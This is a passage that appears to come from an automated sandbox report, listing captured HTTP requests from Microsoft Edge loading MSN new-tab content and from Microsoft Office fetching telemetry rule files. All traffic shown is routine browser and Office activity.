https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731325227261&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1817CCD1391B64C11978D9E5387965A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=17De4755cc9bde00e78767e1731325228; XID=17De4755cc9bde00e78767e1731325228
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1817CCD1391B64C11978D9E5387965A3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ef3f001ede2a4a4ddea4a360bf65106d HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731325227261&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cf0083d9bd7d43b991d9ad6081c2b329&activityId=cf0083d9bd7d43b991d9ad6081c2b329&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=5CD1DCDC8EC04B8E8A661A2DA7C3EE4E&MUID=1817CCD1391B64C11978D9E5387965A3 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=1817CCD1391B64C11978D9E5387965A3; _EDGE_S=F=1&SID=1AA422DAB1436AD93F3837EEB0906B09; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
